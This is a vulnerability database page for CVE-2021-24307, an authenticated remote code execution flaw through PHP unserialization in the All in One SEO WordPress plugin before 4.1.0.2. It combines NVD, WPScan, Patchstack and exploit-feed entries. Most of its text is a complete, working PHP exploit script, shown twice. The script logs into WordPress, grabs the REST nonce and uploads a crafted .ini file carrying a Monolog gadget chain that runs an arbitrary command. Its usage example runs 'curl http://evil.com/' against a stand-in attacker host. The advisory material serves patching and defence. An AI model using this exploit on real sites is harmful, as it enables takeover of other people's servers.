Description
The All in One SEO – Best WordPress SEO Plugin – Easily Improve Your SEO Rankings before 4.1.0.2 enables authenticated users with "aioseo_tools_settings" privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin's configuration by uploading a backup .ini file in the section "Tool > Import/Export". However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution.
Affected Software
Related
{"id": "CVE-2021-24307", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-24307", "description": "The All in One SEO \u2013 Best WordPress SEO Plugin \u2013 Easily Improve Your SEO Rankings before 4.1.0.2 enables authenticated users with \"aioseo_tools_settings\" privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin's configuration by uploading a backup .ini file in the section \"Tool > Import/Export\". However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution.", "published": "2021-05-24T11:15:00", "modified": "2022-05-03T13:05:00", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0}, "severity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24307", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/ab2c94d2-f6c4-418b-bd14-711ed164bcf1", "https://aioseo.com/changelog/"], "cvelist": ["CVE-2021-24307"], "immutableFields": [], "lastseen": "2022-05-03T15:22:15", "viewCount": 29, "enchantments": {"dependencies": {"references": [{"type": "githubexploit", "idList": ["E7E7422A-C98B-55E5-B62F-2B94B80D1182"]}, {"type": "wpexploit", "idList": ["WPEX-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1"]}], "rev": 4}, "score": {"value": 3.3, "vector": "NONE"}, "backreferences": {"references": [{"type": "githubexploit", "idList": ["E7E7422A-C98B-55E5-B62F-2B94B80D1182"]}, {"type": "wpexploit", "idList": ["WPEX-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1"]}]}, "exploitation": null, "vulnersScore": 3.3}, "_state": {"dependencies": 0}, "_internal": {}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-502"], "affectedSoftware": [{"cpeName": "aioseo:all_in_one_seo", "version": "4.1.0.2", "operator": "lt", "name": "aioseo all in one seo"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:aioseo:all_in_one_seo:4.1.0.2:*:*:*:*:wordpress:*:*", "versionEndExcluding": "4.1.0.2", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/ab2c94d2-f6c4-418b-bd14-711ed164bcf1", "name": "https://wpscan.com/vulnerability/ab2c94d2-f6c4-418b-bd14-711ed164bcf1", "refsource": "CONFIRM", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://aioseo.com/changelog/", "name": "https://aioseo.com/changelog/", "refsource": "MISC", "tags": ["Release Notes", "Vendor Advisory"]}]}
{"wpvulndb": [{"lastseen": "2021-08-24T13:38:33", "description": "The plugin enables authenticated users with \"aioseo_tools_settings\" privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin's configuration by uploading a backup .ini file in the section \"Tool > Import/Export\". However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution. As exploitation requires high privileges, the main threat scenario concerns attackers willing to compromise system host on mutualized wordpress platform where plugin installation has been denied by security hardening by hosting provider (DISALLOW_FILE_MODS=true in config).\n\n### PoC\n\nsocket = $x; } } class BufferHandler { protected $handler; protected $bufferSize = -1; protected $buffer; # ($record['level'] < $this->level) == false protected $level = null; protected $initialized = true; # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false protected $bufferLimit = -1; protected $processors; function __construct($methods, $command) { $this->processors = $methods; $this->buffer = [$command]; $this->handler = clone $this; } } } namespace { // Quick and dirty HTTP request call class class Request { protected $base_url; protected $cookiejar; protected $proxy_host; protected $proxy_port; public function __construct($base_url, $proxy = null) { $this->base_url = $base_url; $this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-'); if ($proxy) { $proxy_array = explode(\":\", $proxy); $this->proxy_host = $proxy_array[0]; $this->proxy_port = $proxy_array[1]; } } public function do($uri, $post = null, $headers = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri); curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); if ($this->proxy_host && $this->proxy_port) { curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host); curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port); } if ($headers) { curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers); } if ($post) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, \"POST\"); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } $content = curl_exec($ch); if(curl_errno($ch)) { throw new Exception(sprintf(\"HTTP Error: %s\", curl_error($ch))); } $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code == 403) { throw new Exception(sprintf(\"HTTP Error: %d: %s\\nMake sure you are connected with admin privileges\", $http_code, $content)); } else if ($http_code >= 400) { throw new Exception(sprintf(\"HTTP Error: %d: %s\", $http_code, $content)); } curl_close($ch); return $content; } } // Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php function process_serialized($serialized) { $new = ''; $last = 0; $current = 0; $pattern = '#\\bs:([0-9]+):\"#'; while( $current < strlen($serialized) && preg_match( $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current ) ) { $p_start = $matches[0][1]; $p_start_string = $p_start + strlen($matches[0][0]); $length = $matches[1][0]; $p_end_string = $p_start_string + $length; # Check if this really is a serialized string if(!( strlen($serialized) > $p_end_string + 2 && substr($serialized, $p_end_string, 2) == '\";' )) { $current = $p_start_string; continue; } $string = substr($serialized, $p_start_string, $length); # Convert every special character to its S representation $clean_string = ''; for($i=0; $i < strlen($string); $i++) { $letter = $string[$i]; $clean_string .= ctype_print($letter) && $letter != '\\\\\\' ? $letter : sprintf(\"\\\\\\%02x\", ord($letter)); ; } # Make the replacement $new .= substr($serialized, $last, $p_start - $last) . 'S:' . $matches[1][0] . ':\"' . $clean_string . '\";' ; $last = $p_end_string + 2; $current = $last; } $new .= substr($serialized, $last); return $new; } // Banner echo \"-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --\".PHP_EOL; echo \"-- Exploit by Vincent MICHEL (@darkpills) --\".PHP_EOL.PHP_EOL; // Check args if ($argc < 6) { echo sprintf(\"Usage: php %s url login password php_command arguments [proxy]\", $argv[0]).PHP_EOL; echo sprintf(\"Example: php %s https://mywordpress.site.com admin admin shell_exec 'curl http://evil.com/'\", $argv[0]).PHP_EOL; exit(1); } // Check dependencies if (!extension_loaded(\"curl\")) { echo \"Extension php-curl not loaded!\".PHP_EOL; exit(1); } // Settings $wp_url = $argv[1]; $wp_user = $argv[2]; $wp_pass = $argv[3]; $function = $argv[4]; $parameter = $argv[5]; $proxy = isset($argv[6]) ? $argv[6] : null; $request = new Request($wp_url, $proxy); try { // 1) Log in as admin echo sprintf(\"[+] Authenticating to wordpress %s\", $wp_url).PHP_EOL; $request->do(\"/wp-login.php\", [ 'log' => $wp_user, 'pwd' => $wp_pass, 'rememberme' => 'forever', 'wp-submit' => 'Log+In', ]); // 2) GET REST Nonce echo \"[+] Getting WP REST API nonce\".PHP_EOL; $content = $request->do(\"/wp-admin/post-new.php\"); preg_match('/wp\\\\.apiFetch\\\\.createNonceMiddleware\\\\(\\s\"([^\"]+)\"\\s\\\\)/', $content, $matches); if (!isset($matches[1])) { echo sprintf(\"[!] Nonce not found, are you connected?\").PHP_EOL; exit(1); } $restnonce = $matches[1]; echo sprintf(\"[+] Nonce found: %s\", $restnonce).PHP_EOL; // 3) Upload file to trigger RCE echo sprintf(\"[+] Generating POST payload to execute command: %s(\\\"%s\\\")\", $function, $parameter).PHP_EOL; // Create the POST payload template $boundary = uniqid(); $postData = \"\"; $postData .= \"------WebKitFormBoundary\".$boundary .\"\\r\\n\"; $postData .= \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"test.ini\\\"\\r\\n\"; $postData .= \"Content-Type: application/octet-stream\\r\\n\"; $postData .= \"\\r\\n\"; $postData .= \"[Test]\\r\\n\"; $postData .= \"test='%s'\\r\\n\"; $postData .= \"\\r\\n\"; $postData .= \"------WebKitFormBoundary\".$boundary .\"--\\r\\n\"; // Create the gadget chain object $gadgetChain = new \\AIOSEO\\Vendor\\Monolog\\Handler\\SyslogUdpHandler( new \\AIOSEO\\Vendor\\Monolog\\Handler\\BufferHandler( ['current', $function], [$parameter, 'level' => null] ) ); // Serialize the object, encode the string, and populate the POST template $postData = sprintf($postData, process_serialized(serialize($gadgetChain))); // Append in HTTP headers wordpress nonce from previous request in $headers = array( \"X-WP-Nonce: $restnonce\", \"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\" . $boundary ); echo \"[+] Uploading ini file with import settings\".PHP_EOL; $content = $request->do(\"/index.php/wp-json/aioseo/v1/settings/import/\", $postData, $headers); echo \"[+] Done! Check the result somewhere (blind command execution)\".PHP_EOL; exit(0); } catch (Exception $e) { echo sprintf(\"[!] Error: %s\", $e->getMessage()).PHP_EOL; exit(1); } }\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-09T00:00:00", "type": "wpvulndb", "title": "All in One SEO Pack < 4.1.0.2 - Admin RCE via unserialize", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24307"], "modified": "2021-05-11T07:02:11", "id": "WPVDB-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1", "href": "https://wpscan.com/vulnerability/ab2c94d2-f6c4-418b-bd14-711ed164bcf1", "sourceData": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-04-26T21:11:24", "description": "# Admin PHP unserialization RCE in All in one SEO pack (CVE-202...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-02T07:50:09", "type": "githubexploit", "title": "Exploit for Deserialization of Untrusted Data in Aioseo All In One Seo", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24307"], "modified": "2022-01-25T06:53:06", "id": "E7E7422A-C98B-55E5-B62F-2B94B80D1182", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}], "patchstack": [{"lastseen": "2022-06-01T19:32:19", "description": "Authenticated Remote Code Execution (RCE) vulnerability discovered by darkpills in WordPress All In One SEO Pack plugin (versions <= 4.1.0.1).\n\n## Solution\n\n\r\n Update the WordPress All In One SEO Pack plugin to the latest available version (at least 4.1.0.2).\r\n ", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-09T00:00:00", "type": "patchstack", "title": "WordPress All In One SEO Pack plugin <= 4.1.0.1 - Authenticated Remote Code Execution (RCE) vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24307"], "modified": "2021-05-09T00:00:00", "id": "PATCHSTACK:58F0427EA42BD3FF18B7132FD457B266", "href": "https://patchstack.com/database/vulnerability/all-in-one-seo-pack/wordpress-all-in-one-seo-pack-plugin-4-1-0-1-authenticated-remote-code-execution-rce-vulnerability", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "wpexploit": [{"lastseen": "2021-08-24T13:38:33", "description": "The plugin enables authenticated users with \"aioseo_tools_settings\" privilege (most of the time admin) to execute arbitrary code on the underlying host. Users can restore plugin's configuration by uploading a backup .ini file in the section \"Tool > Import/Export\". However, the plugin attempts to unserialize values of the .ini file. Moreover, the plugin embeds Monolog library which can be used to craft a gadget chain and thus trigger system command execution. As exploitation requires high privileges, the main threat scenario concerns attackers willing to compromise system host on mutualized wordpress platform where plugin installation has been denied by security hardening by hosting provider (DISALLOW_FILE_MODS=true in config).\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-05-09T00:00:00", "type": "wpexploit", "title": "All in One SEO Pack < 4.1.0.2 - Admin RCE via unserialize", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24307"], "modified": "2021-05-11T07:02:11", "id": "WPEX-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1", "href": "", "sourceData": "<?php\r\n\r\n/**\r\n All-in-one-seo-pack wordpress plugin <= 4.1.0.1 authenticated RCE \r\n Author: Vincent MICHEL (@darkpills)\r\n\r\n Dev notes:\r\n - Exploit strategy inspiration from https://wpscan.com/vulnerability/10320\r\n - Monolog gadget adapted from phpggc Monolog/RCE1\r\n - Copy/pasted PHPGGC encoding function\r\n*/\r\n\r\n// from phpggc Monolog/RCE1 with custom namespace prefix \"AIOSEO\\Vendor\\\" to match all-in-one-seo-pack plugin\r\n// ./phpggc -a Monolog/RCE1 shell_exec 'curl http://localhost:4444' \r\nnamespace AIOSEO\\Vendor\\Monolog\\Handler\r\n{\r\n class SyslogUdpHandler\r\n {\r\n protected $socket;\r\n\r\n function __construct($x)\r\n {\r\n $this->socket = $x;\r\n }\r\n }\r\n\r\n class BufferHandler\r\n {\r\n protected $handler;\r\n protected $bufferSize = -1;\r\n protected $buffer;\r\n # ($record['level'] < $this->level) == false\r\n protected $level = null;\r\n protected $initialized = true;\r\n # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false\r\n protected $bufferLimit = -1;\r\n protected $processors;\r\n\r\n function __construct($methods, $command)\r\n {\r\n $this->processors = $methods;\r\n $this->buffer = [$command];\r\n $this->handler = clone $this;\r\n }\r\n }\r\n}\r\n\r\nnamespace {\r\n\r\n // Quick and dirty HTTP request call class\r\n class Request {\r\n\r\n protected $base_url;\r\n protected $cookiejar;\r\n protected $proxy_host;\r\n protected $proxy_port;\r\n\r\n public function __construct($base_url, $proxy = null) {\r\n\r\n $this->base_url = $base_url;\r\n $this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');\r\n\r\n if ($proxy) {\r\n $proxy_array = explode(\":\", $proxy);\r\n $this->proxy_host = $proxy_array[0];\r\n $this->proxy_port = $proxy_array[1]; \r\n }\r\n }\r\n\r\n public function do($uri, $post = null, $headers = array()) {\r\n $ch = curl_init();\r\n\r\n curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri);\r\n curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar);\r\n curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar);\r\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\r\n //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\r\n //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\r\n\r\n if ($this->proxy_host && $this->proxy_port) { \r\n curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host);\r\n curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port);\r\n }\r\n\r\n if ($headers) {\r\n curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers); \r\n }\r\n\r\n if ($post) {\r\n curl_setopt($ch, CURLOPT_POST, true);\r\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, \"POST\");\r\n curl_setopt($ch, CURLOPT_POSTFIELDS, $post);\r\n }\r\n\r\n $content = curl_exec($ch);\r\n\r\n if(curl_errno($ch))\r\n {\r\n throw new Exception(sprintf(\"HTTP Error: %s\", curl_error($ch)));\r\n }\r\n\r\n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\r\n if ($http_code == 403) {\r\n throw new Exception(sprintf(\"HTTP Error: %d: %s\\nMake sure you are connected with admin privileges\", $http_code, $content)); \r\n } else if ($http_code >= 400) {\r\n throw new Exception(sprintf(\"HTTP Error: %d: %s\", $http_code, $content));\r\n }\r\n\r\n curl_close($ch);\r\n\r\n return $content;\r\n }\r\n\r\n }\r\n\r\n // Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php\r\n function process_serialized($serialized)\r\n {\r\n $new = '';\r\n $last = 0;\r\n $current = 0;\r\n $pattern = '#\\bs:([0-9]+):\"#';\r\n\r\n while(\r\n $current < strlen($serialized) &&\r\n preg_match(\r\n $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current\r\n )\r\n )\r\n {\r\n\r\n $p_start = $matches[0][1];\r\n $p_start_string = $p_start + strlen($matches[0][0]);\r\n $length = $matches[1][0];\r\n $p_end_string = $p_start_string + $length;\r\n\r\n # Check if this really is a serialized string\r\n if(!(\r\n strlen($serialized) > $p_end_string + 2 &&\r\n substr($serialized, $p_end_string, 2) == '\";'\r\n ))\r\n {\r\n $current = $p_start_string;\r\n continue;\r\n }\r\n $string = substr($serialized, $p_start_string, $length);\r\n \r\n # Convert every special character to its S representation\r\n $clean_string = '';\r\n for($i=0; $i < strlen($string); $i++)\r\n {\r\n $letter = $string[$i];\r\n $clean_string .= ctype_print($letter) && $letter != '\\\\' ?\r\n $letter :\r\n sprintf(\"\\\\%02x\", ord($letter));\r\n ;\r\n }\r\n\r\n # Make the replacement\r\n $new .= \r\n substr($serialized, $last, $p_start - $last) .\r\n 'S:' . $matches[1][0] . ':\"' . $clean_string . '\";'\r\n ;\r\n $last = $p_end_string + 2;\r\n $current = $last;\r\n }\r\n\r\n $new .= substr($serialized, $last);\r\n return $new;\r\n }\r\n\r\n // Banner\r\n echo \"-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --\".PHP_EOL;\r\n echo \"-- Exploit by Vincent MICHEL (@darkpills) --\".PHP_EOL.PHP_EOL;\r\n\r\n // Check args\r\n if ($argc < 6) {\r\n echo sprintf(\"Usage: php %s url login password php_command arguments [proxy]\", $argv[0]).PHP_EOL;\r\n echo sprintf(\"Example: php %s https://mywordpress.site.com admin admin shell_exec 'curl http://evil.com/'\", $argv[0]).PHP_EOL;\r\n exit(1);\r\n }\r\n\r\n // Check dependencies\r\n if (!extension_loaded(\"curl\")) {\r\n echo \"Extension php-curl not loaded!\".PHP_EOL;\r\n exit(1);\r\n }\r\n\r\n // Settings\r\n $wp_url = $argv[1];\r\n $wp_user = $argv[2];\r\n $wp_pass = $argv[3];\r\n $function = $argv[4];\r\n $parameter = $argv[5];\r\n $proxy = isset($argv[6]) ? $argv[6] : null;\r\n\r\n $request = new Request($wp_url, $proxy);\r\n\r\n try {\r\n // 1) Log in as admin\r\n echo sprintf(\"[+] Authenticating to wordpress %s\", $wp_url).PHP_EOL;\r\n $request->do(\"/wp-login.php\", [\r\n 'log' => $wp_user,\r\n 'pwd' => $wp_pass,\r\n 'rememberme' => 'forever',\r\n 'wp-submit' => 'Log+In',\r\n ]);\r\n\r\n // 2) GET REST Nonce\r\n echo \"[+] Getting WP REST API nonce\".PHP_EOL;\r\n $content = $request->do(\"/wp-admin/post-new.php\");\r\n preg_match('/wp\\.apiFetch\\.createNonceMiddleware\\(\\s\"([^\"]+)\"\\s\\)/', $content, $matches);\r\n if (!isset($matches[1])) {\r\n echo sprintf(\"[!] Nonce not found, are you connected?\").PHP_EOL;\r\n exit(1); \r\n }\r\n $restnonce = $matches[1];\r\n echo sprintf(\"[+] Nonce found: %s\", $restnonce).PHP_EOL;\r\n\r\n // 3) Upload file to trigger RCE\r\n echo sprintf(\"[+] Generating POST payload to execute command: %s(\\\"%s\\\")\", $function, $parameter).PHP_EOL;\r\n // Create the POST payload template\r\n $boundary = uniqid();\r\n $postData = \"\";\r\n $postData .= \"------WebKitFormBoundary\".$boundary .\"\\r\\n\";\r\n $postData .= \"Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"test.ini\\\"\\r\\n\";\r\n $postData .= \"Content-Type: application/octet-stream\\r\\n\";\r\n $postData .= \"\\r\\n\";\r\n $postData .= \"[Test]\\r\\n\";\r\n $postData .= \"test='%s'\\r\\n\";\r\n $postData .= \"\\r\\n\";\r\n $postData .= \"------WebKitFormBoundary\".$boundary .\"--\\r\\n\";\r\n\r\n // Create the gadget chain object\r\n $gadgetChain = new \\AIOSEO\\Vendor\\Monolog\\Handler\\SyslogUdpHandler(\r\n new \\AIOSEO\\Vendor\\Monolog\\Handler\\BufferHandler(\r\n ['current', $function],\r\n [$parameter, 'level' => null]\r\n )\r\n );\r\n\r\n // Serialize the object, encode the string, and populate the POST template\r\n $postData = sprintf($postData, process_serialized(serialize($gadgetChain)));\r\n\r\n // Append in HTTP headers wordpress nonce from previous request in\r\n $headers = array(\r\n \"X-WP-Nonce: $restnonce\", \r\n \"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary\" . $boundary\r\n );\r\n echo \"[+] Uploading ini file with import settings\".PHP_EOL;\r\n $content = $request->do(\"/index.php/wp-json/aioseo/v1/settings/import/\", $postData, $headers);\r\n echo \"[+] Done! Check the result somewhere (blind command execution)\".PHP_EOL;\r\n\r\n exit(0);\r\n\r\n } catch (Exception $e) {\r\n echo sprintf(\"[!] Error: %s\", $e->getMessage()).PHP_EOL;\r\n exit(1);\r\n }\r\n}", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}]}